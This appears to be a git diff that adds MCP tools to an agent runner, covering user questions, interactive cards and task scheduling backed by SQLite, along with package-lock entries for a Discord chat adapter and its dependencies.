+function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +export const askUserQuestion: McpToolDefinition = { + tool: { + name: 'ask_user_question', + description: + 'Ask the user a multiple-choice question and wait for their response. This is a blocking call — execution pauses until the user responds or the timeout expires.', + inputSchema: { + type: 'object' as const, + properties: { + question: { type: 'string', description: 'The question to ask' }, + options: { + type: 'array', + items: { type: 'string' }, + description: 'Button labels for the user to choose from', + }, + timeout: { type: 'number', description: 'Timeout in seconds (default: 300)' }, + }, + required: ['question', 'options'], + }, + }, + async handler(args) { + const question = args.question as string; + const options = args.options as string[]; + const timeout = ((args.timeout as number) || 300) * 1000; + if (!question || !options?.length) return err('question and options are required'); + + const questionId = generateId(); + const r = routing(); + + // Write question card to messages_out + writeMessageOut({ + id: questionId, + kind: 'chat-sdk', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ + type: 'ask_question', + questionId, + question, + options, + }), + }); + + log(`ask_user_question: ${questionId} → "${question}" [${options.join(', ')}]`); + + // Poll for response in messages_in + const deadline = Date.now() + timeout; + while (Date.now() < deadline) { + const response = getSessionDb() + .prepare("SELECT content FROM messages_in WHERE kind = 'system' AND content LIKE ? AND status = 'pending' LIMIT 1") + .get(`%"questionId":"${questionId}"%`) as { content: string } | undefined; + + if (response) { + const parsed = JSON.parse(response.content); + // Mark the response as completed so the poll loop doesn't pick it up + getSessionDb() + .prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE kind = 'system' AND content LIKE ?") + .run(`%"questionId":"${questionId}"%`); + + log(`ask_user_question response: ${questionId} → ${parsed.selectedOption}`); + return ok(parsed.selectedOption); + } + + await sleep(1000); + } + + log(`ask_user_question timeout: ${questionId}`); + return err(`Question timed out after ${timeout / 1000}s`); + }, +}; + +export const sendCard: McpToolDefinition = { + tool: { + name: 'send_card', + description: 'Send a structured card (interactive or display-only) to the current conversation.', + inputSchema: { + type: 'object' as const, + properties: { + card: { + type: 'object', + description: 'Card structure with title, description, and optional children/actions', + }, + fallbackText: { type: 'string', description: 'Text fallback for platforms without card support' }, + }, + required: ['card'], + }, + }, + async handler(args) { + const card = args.card as Record; + if (!card) return err('card is required'); + + const id = generateId(); + const r = routing(); + + writeMessageOut({ + id, + kind: 'chat-sdk', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ type: 'card', card, fallbackText: (args.fallbackText as string) || '' }), + }); + + log(`send_card: ${id}`); + return ok(`Card sent (id: ${id})`); + }, +}; + +export const interactiveTools: McpToolDefinition[] = [askUserQuestion, sendCard]; diff --git a/container/agent-runner/src/mcp-tools/scheduling.ts b/container/agent-runner/src/mcp-tools/scheduling.ts new file mode 100644 index 0000000..3f3d0d0 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/scheduling.ts @@ -0,0 +1,199 @@ +/** + * Scheduling MCP tools: schedule_task, list_tasks, cancel_task, pause_task, resume_task. + * + * Tasks are messages_in rows with process_after timestamps and optional recurrence. + * The host sweep detects due tasks and wakes the container. + */ +import { getSessionDb } from '../db/connection.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `task-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function routing() { + return { + platform_id: process.env.NANOCLAW_PLATFORM_ID || null, + channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, + thread_id: process.env.NANOCLAW_THREAD_ID || null, + }; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +export const scheduleTask: McpToolDefinition = { + tool: { + name: 'schedule_task', + description: + 'Schedule a one-shot or recurring task. The task will be processed at the specified time. Use cron expressions for recurring tasks.', + inputSchema: { + type: 'object' as const, + properties: { + prompt: { type: 'string', description: 'Task instructions/prompt' }, + processAfter: { type: 'string', description: 'ISO timestamp for first run (e.g., 2024-01-15T09:00:00Z)' }, + recurrence: { type: 'string', description: 'Cron expression for recurring tasks (e.g., "0 9 * * 1-5" for weekdays at 9am)' }, + script: { type: 'string', description: 'Optional pre-agent script to run before processing' }, + }, + required: ['prompt', 'processAfter'], + }, + }, + async handler(args) { + const prompt = args.prompt as string; + const processAfter = args.processAfter as string; + if (!prompt || !processAfter) return err('prompt and processAfter are required'); + + const id = generateId(); + const r = routing(); + const recurrence = (args.recurrence as string) || null; + const script = (args.script as string) || null; + + const content = JSON.stringify({ prompt, script }); + + getSessionDb() + .prepare( + `INSERT INTO messages_in (id, timestamp, status, status_changed, tries, process_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, datetime('now'), 'pending', datetime('now'), 0, @process_after, @recurrence, 'task', @platform_id, @channel_type, @thread_id, @content)`, + ) + .run({ + id, + process_after: processAfter, + recurrence, + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content, + }); + + log(`schedule_task: ${id} at ${processAfter}${recurrence ? ` (recurring: ${recurrence})` : ''}`); + return ok(`Task scheduled (id: ${id}, runs at: ${processAfter}${recurrence ? `, recurrence: ${recurrence}` : ''})`); + }, +}; + +export const listTasks: McpToolDefinition = { + tool: { + name: 'list_tasks', + description: 'List scheduled and pending tasks.', + inputSchema: { + type: 'object' as const, + properties: { + status: { type: 'string', description: 'Filter by status: pending, processing, completed, paused (default: all non-completed)' }, + }, + }, + }, + async handler(args) { + const status = args.status as string | undefined; + let rows; + if (status) { + rows = getSessionDb() + .prepare("SELECT id, status, process_after, recurrence, content FROM messages_in WHERE kind = 'task' AND status = ? ORDER BY process_after ASC") + .all(status); + } else { + rows = getSessionDb() + .prepare("SELECT id, status, process_after, recurrence, content FROM messages_in WHERE kind = 'task' AND status NOT IN ('completed') ORDER BY process_after ASC") + .all(); + } + + if ((rows as unknown[]).length === 0) return ok('No tasks found.'); + + const lines = (rows as Array<{ id: string; status: string; process_after: string | null; recurrence: string | null; content: string }>).map((r) => { + const content = JSON.parse(r.content); + const prompt = (content.prompt as string || '').slice(0, 80); + return `- ${r.id} [${r.status}] at=${r.process_after || 'now'} ${r.recurrence ? `recur=${r.recurrence} ` : ''}→ ${prompt}`; + }); + + return ok(lines.join('\n')); + }, +}; + +export const cancelTask: McpToolDefinition = { + tool: { + name: 'cancel_task', + description: 'Cancel a scheduled task.', + inputSchema: { + type: 'object' as const, + properties: { + taskId: { type: 'string', description: 'Task ID to cancel' }, + }, + required: ['taskId'], + }, + }, + async handler(args) { + const taskId = args.taskId as string; + if (!taskId) return err('taskId is required'); + + const result = getSessionDb() + .prepare("UPDATE messages_in SET status = 'completed', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')") + .run(taskId); + + if (result.changes === 0) return err(`Task not found or not cancellable: ${taskId}`); + + log(`cancel_task: ${taskId}`); + return ok(`Task cancelled: ${taskId}`); + }, +}; + +export const pauseTask: McpToolDefinition = { + tool: { + name: 'pause_task', + description: 'Pause a scheduled task. It will not run until resumed.', + inputSchema: { + type: 'object' as const, + properties: { + taskId: { type: 'string', description: 'Task ID to pause' }, + }, + required: ['taskId'], + }, + }, + async handler(args) { + const taskId = args.taskId as string; + if (!taskId) return err('taskId is required'); + + const result = getSessionDb() + .prepare("UPDATE messages_in SET status = 'paused', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status = 'pending'") + .run(taskId); + + if (result.changes === 0) return err(`Task not found or not pausable: ${taskId}`); + + log(`pause_task: ${taskId}`); + return ok(`Task paused: ${taskId}`); + }, +}; + +export const resumeTask: McpToolDefinition = { + tool: { + name: 'resume_task', + description: 'Resume a paused task.', + inputSchema: { + type: 'object' as const, + properties: { + taskId: { type: 'string', description: 'Task ID to resume' }, + }, + required: ['taskId'], + }, + }, + async handler(args) { + const taskId = args.taskId as string; + if (!taskId) return err('taskId is required'); + + const result = getSessionDb() + .prepare("UPDATE messages_in SET status = 'pending', status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status = 'paused'") + .run(taskId); + + if (result.changes === 0) return err(`Task not found or not paused: ${taskId}`); + + log(`resume_task: ${taskId}`); + return ok(`Task resumed: ${taskId}`); + }, +}; + +export const schedulingTools: McpToolDefinition[] = [scheduleTask, listTasks, cancelTask, pauseTask, resumeTask]; diff --git a/container/agent-runner/src/mcp-tools/types.ts b/container/agent-runner/src/mcp-tools/types.ts new file mode 100644 index 0000000..d4637d0 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/types.ts @@ -0,0 +1,6 @@ +import type { Tool, CallToolResult } from '@modelcontextprotocol/sdk/types.js'; + +export interface McpToolDefinition { + tool: Tool; + handler: (args: Record) => Promise; +} diff --git a/package-lock.json b/package-lock.json index ebd7b83..97b055e 100644 --- a/package-lock.json +++ b/package-lock.json @@ -8,8 +8,11 @@ "name": "nanoclaw", "version": "1.2.52", "dependencies": { + "@chat-adapter/discord": "^4.24.0", + "@chat-adapter/state-memory": "^4.24.0", "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", + "chat": "^4.24.0", "cron-parser": "5.5.0" }, "devDependencies": { @@ -30,6 +33,183 @@ "node": ">=20" } }, + "node_modules/@chat-adapter/discord": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/discord/-/discord-4.24.0.tgz", + "integrity": "sha512-nyLLBClOjzkzsCDOXoZvYJ91GA3EEYEQA7YsDHthra7YjEpPo4Osl65bdm54z/5Rl6VW7QofK6B5DSN4UJzQPA==", + "license": "MIT", + "dependencies": { + "@chat-adapter/shared": "4.24.0", + "chat": "4.24.0", + "discord-api-types": "^0.37.119", + "discord-interactions": "^4.4.0", + "discord.js": "^14.25.1" + } + }, + "node_modules/@chat-adapter/discord/node_modules/discord-api-types": { + "version": "0.37.120", + "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.37.120.tgz", + "integrity": "sha512-7xpNK0EiWjjDFp2nAhHXezE4OUWm7s1zhc/UXXN6hnFFU8dfoPHgV0Hx0RPiCa3ILRpdeh152icc68DGCyXYIw==", + "license": "MIT" + }, + "node_modules/@chat-adapter/shared": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/shared/-/shared-4.24.0.tgz", + "integrity": "sha512-TINx2tGIb7R76LWRII7LUclRFGUAB4ytosEaL054bYm0T1t52suQAHSqCZrLjlc060TNhBNUFJY3Fd9YpTantw==", + "license": "MIT", + "dependencies": { + "chat": "4.24.0" + } + }, + "node_modules/@chat-adapter/state-memory": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/@chat-adapter/state-memory/-/state-memory-4.24.0.tgz", + "integrity": "sha512-K/o1KfZ7DH0Y7wcn8aCxD+QmfGaZ4yj5Qyk4VdvLGcUZTUkgS1how8DkcYBDcX3NoKv9DsqM+joQnWc3Pe8dbA==", + "license": "MIT", + "dependencies": { + "chat": "4.24.0" + } + }, + "node_modules/@discordjs/builders": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.14.1.tgz", + "integrity": "sha512-gSKkhXLqs96TCzk66VZuHHl8z2bQMJFGwrXC0f33ngK+FLNau4hU1PYny3DNJfNdSH+gVMzE85/d5FQ2BpcNwQ==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/formatters": "^0.6.2", + "@discordjs/util": "^1.2.0", + "@sapphire/shapeshift": "^4.0.0", + "discord-api-types": "^0.38.40", + "fast-deep-equal": "^3.1.3", + "ts-mixer": "^6.0.4", + "tslib": "^2.6.3" + }, + "engines": { + "node": ">=16.11.0" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/collection": { + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-1.5.3.tgz", + "integrity": "sha512-SVb428OMd3WO1paV3rm6tSjM4wC+Kecaa1EUGX7vc6/fddvw/6lg90z4QtCqm21zvVe92vMMDt9+DkIvjXImQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=16.11.0" + } + }, + "node_modules/@discordjs/formatters": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/@discordjs/formatters/-/formatters-0.6.2.tgz", + "integrity": "sha512-y4UPwWhH6vChKRkGdMB4odasUbHOUwy7KL+OVwF86PvT6QVOwElx+TiI1/6kcmcEe+g5YRXJFiXSXUdabqZOvQ==", + "license": "Apache-2.0", + "dependencies": { + "discord-api-types": "^0.38.33" + }, + "engines": { + "node": ">=16.11.0" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/rest": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/@discordjs/rest/-/rest-2.6.1.tgz", + "integrity": "sha512-wwQdgjeaoYFiaG+atbqx6aJDpqW7JHAo0HrQkBTbYzM3/PJ3GweQIpgElNcGZ26DCUOXMyawYd0YF7vtr+fZXg==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/collection": "^2.1.1", + "@discordjs/util": "^1.2.0", + "@sapphire/async-queue": "^1.5.3", + "@sapphire/snowflake": "^3.5.5", + "@vladfrangu/async_event_emitter": "^2.4.6", + "discord-api-types": "^0.38.40", + "magic-bytes.js": "^1.13.0", + "tslib": "^2.6.3", + "undici": "6.24.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/rest/node_modules/@discordjs/collection": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-2.1.1.tgz", + "integrity": "sha512-LiSusze9Tc7qF03sLCujF5iZp7K+vRNEDBZ86FT9aQAv3vxMLihUvKvpsCWiQ2DJq1tVckopKm1rxomgNUc9hg==", + "license": "Apache-2.0", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/rest/node_modules/@sapphire/snowflake": { + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/@sapphire/snowflake/-/snowflake-3.5.5.tgz", + "integrity": "sha512-xzvBr1Q1c4lCe7i6sRnrofxeO1QTP/LKQ6A6qy0iB4x5yfiSfARMEQEghojzTNALDTcv8En04qYNIco9/K9eZQ==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@discordjs/util": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@discordjs/util/-/util-1.2.0.tgz", + "integrity": "sha512-3LKP7F2+atl9vJFhaBjn4nOaSWahZ/yWjOvA4e5pnXkt2qyXRCHLxoBQy81GFtLGCq7K9lPm9R517M1U+/90Qg==", + "license": "Apache-2.0", + "dependencies": { + "discord-api-types": "^0.38.33" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/ws": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@discordjs/ws/-/ws-1.2.3.tgz", + "integrity": "sha512-wPlQDxEmlDg5IxhJPuxXr3Vy9AjYq5xCvFWGJyD7w7Np8ZGu+Mc+97LCoEc/+AYCo2IDpKioiH0/c/mj5ZR9Uw==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/collection": "^2.1.0", + "@discordjs/rest": "^2.5.1", + "@discordjs/util": "^1.1.0", + "@sapphire/async-queue": "^1.5.2", + "@types/ws": "^8.5.10", + "@vladfrangu/async_event_emitter": "^2.2.4", + "discord-api-types": "^0.38.1", + "tslib": "^2.6.2", + "ws": "^8.17.0" + }, + "engines": { + "node": ">=16.11.0" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/ws/node_modules/@discordjs/collection": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-2.1.1.tgz", + "integrity": "sha512-LiSusze9Tc7qF03sLCujF5iZp7K+vRNEDBZ86FT9aQAv3vxMLihUvKvpsCWiQ2DJq1tVckopKm1rxomgNUc9hg==", + "license": "Apache-2.0", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, "node_modules/@esbuild/aix-ppc64": { "version": "0.27.3", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz", @@ -1043,6 +1223,39 @@ "win32" ] }, + "node_modules/@sapphire/async-queue": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@sapphire/async-queue/-/async-queue-1.5.5.tgz", + "integrity": "sha512-cvGzxbba6sav2zZkH8GPf2oGk9yYoD5qrNWdu9fRehifgnFZJMV+nuy2nON2roRO4yQQ+v7MK/Pktl/HgfsUXg==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@sapphire/shapeshift": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sapphire/shapeshift/-/shapeshift-4.0.0.tgz", + "integrity": "sha512-d9dUmWVA7MMiKobL3VpLF8P2aeanRTu6ypG2OIaEv/ZHH/SUQ2iHOVyi5wAPjQ+HmnMuL0whK9ez8I/raWbtIg==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "lodash": "^4.17.21" + }, + "engines": { + "node": ">=v16" + } + }, + "node_modules/@sapphire/snowflake": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/@sapphire/snowflake/-/snowflake-3.5.3.tgz", + "integrity": "sha512-jjmJywLAFoWeBi1W7994zZyiNWPIiqRRNAmSERxyg93xRGzNYvGjlZ0gR6x0F4gPRi2+0O6S71kOZYyr3cxaIQ==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, "node_modules/@standard-schema/spec": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", @@ -1071,6 +1284,15 @@ "assertion-error": "^2.0.1" } }, + "node_modules/@types/debug": { + "version": "4.1.13", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz", + "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", + "license": "MIT", + "dependencies": { + "@types/ms": "*" + } + }, "node_modules/@types/deep-eql": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", @@ -1091,16 +1313,45 @@ "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", "dev": true }, + "node_modules/@types/mdast": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", + "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==", + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "license": "MIT" + }, "node_modules/@types/node": { "version": "22.19.11", "resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.11.tgz", "integrity": "sha512-BH7YwL6rA93ReqeQS1c4bsPpcfOmJasG+Fkr6Y59q83f9M1WcBRHR2vM+P9eOisYRcN3ujQoiZY8uk5W+1WL8w==", - "dev": true, "license": "MIT", "dependencies": { "undici-types": "~6.21.0" } }, + "node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "license": "MIT" + }, + "node_modules/@types/ws": { + "version": "8.18.1", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz", + "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, "node_modules/@typescript-eslint/eslint-plugin": { "version": "8.57.2", "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.57.2.tgz", @@ -1479,6 +1730,22 @@ "url": "https://opencollective.com/vitest" } }, + "node_modules/@vladfrangu/async_event_emitter": { + "version": "2.4.7", + "resolved": "https://registry.npmjs.org/@vladfrangu/async_event_emitter/-/async_event_emitter-2.4.7.tgz", + "integrity": "sha512-Xfe6rpCTxSxfbswi/W/Pz7zp1WWSNn4A0eW4mLkQUewCrXXtMj31lCg+iQyTkh/CkusZSq9eDflu7tjEDXUY6g==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@workflow/serde": { + "version": "4.1.0-beta.2", + "resolved": "https://registry.npmjs.org/@workflow/serde/-/serde-4.1.0-beta.2.tgz", + "integrity": "sha512-8kkeoQKLDaKXefjV5dbhBj2aErfKp1Mc4pb6tj8144cF+Em5SPbyMbyLCHp+BVrFfFVCBluCtMx+jjvaFVZGww==", + "license": "Apache-2.0" + }, "node_modules/acorn": { "version": "8.16.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", @@ -1547,6 +1814,16 @@ "node": ">=12" } }, + "node_modules/bail": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", + "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", @@ -1648,6 +1925,16 @@ "node": ">=6" } }, + "node_modules/ccount": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", + "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/chai": { "version": "6.2.2", "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", @@ -1674,6 +1961,31 @@ "url": "https://github.com/chalk/chalk?sponsor=1" } }, + "node_modules/character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chat": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/chat/-/chat-4.24.0.tgz", + "integrity": "sha512-0TxglwtGRMGlqERuHVZZ27Z4YBeZH3oRXCqHZYuI41L7xcSHF5C3wEHTMdVqHp3p8ZKQcKYQPOwYWvaeFVa4+g==", + "license": "MIT", + "dependencies": { + "@workflow/serde": "4.1.0-beta.2", + "mdast-util-to-string": "^4.0.0", + "remark-gfm": "^4.0.0", + "remark-parse": "^11.0.0", + "remark-stringify": "^11.0.0", + "remend": "^1.2.1", + "unified": "^11.0.5" + } + }, "node_modules/chownr": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", @@ -1734,7 +2046,6 @@ "version": "4.4.3", "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "dev": true, "license": "MIT", "dependencies": { "ms": "^2.1.3" @@ -1748,6 +2059,19 @@ } } }, + "node_modules/decode-named-character-reference": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.3.0.tgz", + "integrity": "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==", + "license": "MIT", + "dependencies": { + "character-entities": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/decompress-response": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", @@ -1778,6 +2102,15 @@ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", "dev": true }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, "node_modules/detect-libc": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", @@ -1787,6 +2120,64 @@ "node": ">=8" } }, + "node_modules/devlop": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", + "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", + "license": "MIT", + "dependencies": { + "dequal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/discord-api-types": { + "version": "0.38.44", + "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.38.44.tgz", + "integrity": "sha512-q91MgBzP/gRaCLIbQTaOrOhbD8uVIaPKxpgX2sfFB2nZ9nSiTYM9P3NFQ7cbO6NCxctI6ODttc67MI+YhIfILg==", + "license": "MIT", + "workspaces": [ + "scripts/actions/documentation" + ] + }, + "node_modules/discord-interactions": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/discord-interactions/-/discord-interactions-4.4.0.tgz", + "integrity": "sha512-jjJx8iwAeJcj8oEauV43fue9lNqkf38fy60aSs2+G8D1nJmDxUIrk08o3h0F3wgwuBWWJUZO+X/VgfXsxpCiJA==", + "license": "MIT", + "engines": { + "node": ">=18.4.0" + } + }, + "node_modules/discord.js": { + "version": "14.26.2", + "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-14.26.2.tgz", + "integrity": "sha512-feShi+gULJ6R2MAA4/KkCFnkJcuVrROJrKk4czplzq8gE1oqhqgOy9K0Scu44B8oGeWKe04egquzf+ia6VtXAw==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/builders": "^1.14.1", + "@discordjs/collection": "1.5.3", + "@discordjs/formatters": "^0.6.2", + "@discordjs/rest": "^2.6.1", + "@discordjs/util": "^1.2.0", + "@discordjs/ws": "^1.2.3", + "@sapphire/snowflake": "3.5.3", + "discord-api-types": "^0.38.40", + "fast-deep-equal": "3.1.3", + "lodash.snakecase": "4.1.1", + "magic-bytes.js": "^1.13.0", + "tslib": "^2.6.3", + "undici": "6.24.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, "node_modules/end-of-stream": { "version": "1.4.5", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", @@ -2041,11 +2432,16 @@ "node": ">=12.0.0" } }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "license": "MIT" + }, "node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" }, "node_modules/fast-json-stable-stringify": { "version": "2.1.0", @@ -2307,6 +2703,18 @@ "node": ">=0.10.0" } }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "license": 